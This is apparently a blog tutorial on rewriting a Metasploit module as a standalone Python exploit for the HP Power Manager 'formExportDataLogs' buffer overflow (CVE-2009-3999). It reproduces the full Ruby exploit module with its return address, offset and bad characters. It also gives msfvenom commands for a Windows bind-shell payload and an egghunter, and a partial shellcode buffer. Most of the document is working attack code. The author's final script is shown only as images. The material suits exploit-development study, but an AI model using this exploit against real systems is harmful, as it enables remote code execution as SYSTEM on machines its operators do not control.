Egg Hunting: Convert Metasploit module into Stand Alone

Metasploit is quick and easy to use, but a security expert is clearly not limited to this;
a very useful exercise is to rewrite Metasploit modules in a scripting language familiar to us, in my case python.
Only then can we truly understand the bug and techniques to exploit them!

This article doesn't explain the basics, but the steps to get our working script than the msf module.

hp_power_manager_filename.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => "HP Power Manager 'formExportDataLogs' Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.
By creating a malformed request specifically for the fileName parameter, a stack-based
buffer overflow occurs due to a long error message (which contains the fileName),
which may result aribitrary remote code execution under the context of 'SYSTEM'.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Original discovery (Secunia Research)
'Alin Rad Pop',
# Metasploit module (thx DcLabs members, corelanc0d3r, humble-desser, pyoor)
'Rodrigo Escobar ',
# Metasploit fu
'sinn3r'
],
'Version' => '$Revision: 14016 $',
'References' =>
[
[ 'CVE', '2009-3999' ],
[ 'BID', '37867' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'thread',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "x00x3ax26x3fx25x23x20x0ax0dx2fx2bx0bx5c&=+?:;-,/#.$%x1a",
'DisableNops' => true,
'EncoderOptions' => {'BufferRegister' => 'EDI' } # Egghunter jmp edi
},
'Targets' =>
[
[
# Tested on HP Power Manager 4.2 (Build 7 and 9)
'Windows XP SP3 / Win Server 2003 SP0',
{
'Ret' => 0x004174d5, #pop esi # pop ebx # ret 10 (DevManBE.exe)
'Offset' => 721
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 19 2011',
'DefaultTarget' => 0))

register_options([Opt::RPORT(80)], self.class)
end

def exploit
print_status("Generating payload...")

# Randomize the tag by not specifying one
eggoptions = { :checksum => true }

hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

buffer = rand_text_alpha_upper(target['Offset'] - hunter.length)
buffer << make_nops(30) + hunter #<br />
buffer << "xebxc2x90x90" #JMP SHORT 0xC2<br />
buffer << [target.ret].pack('V*')[0,3] #SEH (strip the null byte, HP PM will pad it for us)<br />

# Let's make the request a little bit more realistic looking
time = Time.new

print_status("Trying target #{target.name}...")
connect

request = send_request_cgi({
'method' => 'POST',
'uri' => '/goform/formExportDataLogs',
'vars_post' => {
'dataFormat' => 'comma',
'exportto' => 'file',
'fileName' => buffer,
'bMonth' => "%02d" %time.month,
'bDay' => "%02d" %time.day,
'bYear' => time.year.to_s,
'eMonth' => "%02d" %time.month,
'eDay' => "%02d" %time.day,
'eYear' => time.year.to_s,
'LogType' => 'Application',
'actionType' => '1%3B'
},
'headers' =>
{
'Accept' => egg,
'Referer' => "http://#{rhost}/Contents/exportLogs.asp?logType=Application"
}
}, 5)

print_status("Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)")

# Wait for a bit longer. For some reason it may take some time for the process to start
# handling our request.
select(nil, nil, nil, 7)

handler
disconnect
end
end

An important element in function "inizialize" is "Payload", here are the badchar to use to generate the shellcode and usually even "space" that is the space required to exploit the bug. Also "Targets" is important, with specific "Ret" address and "Offset".
Before to proceed, consider it!

The main function is "def exploit", let's focus first of all in
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

This function add the egg(example "W00TW00T") at the begin of our payload and then insert the egg hunter into hunter var.
Here's how I did the same thing: (into Kali)
>msfvenom -p windows/shell_bind_tcp -b "x00x3ax26x3fx25x23x20x0ax0dx2fx2bx0bx5c&=+?:;-,/#.$%x1a" -f py
>/usr/share/metasploit-framework/tools/egghunter.rb -f python -e W00T

With egghunter.rb I created the shellcode that seeks W00TW00T in memory, now add the egg at the begin of payload:
buf = "W00TW00T" #EGG
buf += "x33xc9x83xe9xaexe8xffxffxffxffxc0x5ex81"
buf += "x76x0exd1x4fxf7xb9x83xeexfcxe2xf4x2dxa7"
buf += "x75xb9xd1x4fx97x30x34x7ex37xddx5ax1fxc7"
buf += "x32x83x43x7cxebxc5xc4x85x91xdexf8xbdx9f"
buf += "xe0xb0x5bx85xb0x33xf5x95xf1x8ex38xb4xd0"
buf += .......

After filling the buffer, the next step following the MSF module is to send a post http request, nothing difficult that can be implemented in different ways!
Here's my final solution, complete and working that I have tested in lab:
image

image

image

image

image

Study hard and have fun :)

Resources:
http://netsec.ws/?p=262
https://www.corelan.be/